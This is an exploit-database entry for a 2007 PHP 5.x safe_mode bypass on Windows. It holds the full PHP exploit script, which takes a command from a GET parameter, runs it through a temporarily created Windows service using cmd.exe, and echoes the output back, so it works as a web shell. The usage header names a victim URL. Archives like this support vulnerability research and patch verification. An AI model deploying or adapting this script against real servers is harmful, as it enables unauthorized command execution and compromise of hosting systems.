PHP 5.x - 'Win32service' Local 'Safe_Mode()' Bypass

Author: NetJackal
type: local
platform: windows
port: 
date_added: 2007-07-26  
date_updated: 2016-10-19  
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comphp-5.2.1-Win32.zip  

raw file: 4236.php  

<?php

#####################################################
### PHP Safe_mode bypass exploit (win32service)   ###
###                                               ###
### Note: Tested on 5.2.1                         ###
###                                               ###
### Author:  NetJackal                            ###
### Email:   nima_501[at]yahoo[dot]com            ###
### Website: http://netjackal.by.ru               ###
###                                               ###
###                                               ###
### Usage: http://victim.net/nj.php?CMD=[command] ###
#####################################################

$command=(isset($_GET['CMD']))?$_GET['CMD']:'dir'; #cammand
$dir=ini_get('upload_tmp_dir'); #Directory to store command's output

if(!extension_loaded('win32service'))die('win32service extension not found!');
$name=$dir."\\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
$exec=file_get_contents($name);
unlink($name);
echo "<pre>".htmlspecialchars($exec)."</pre>";
?>

# milw0rm.com [2007-07-27]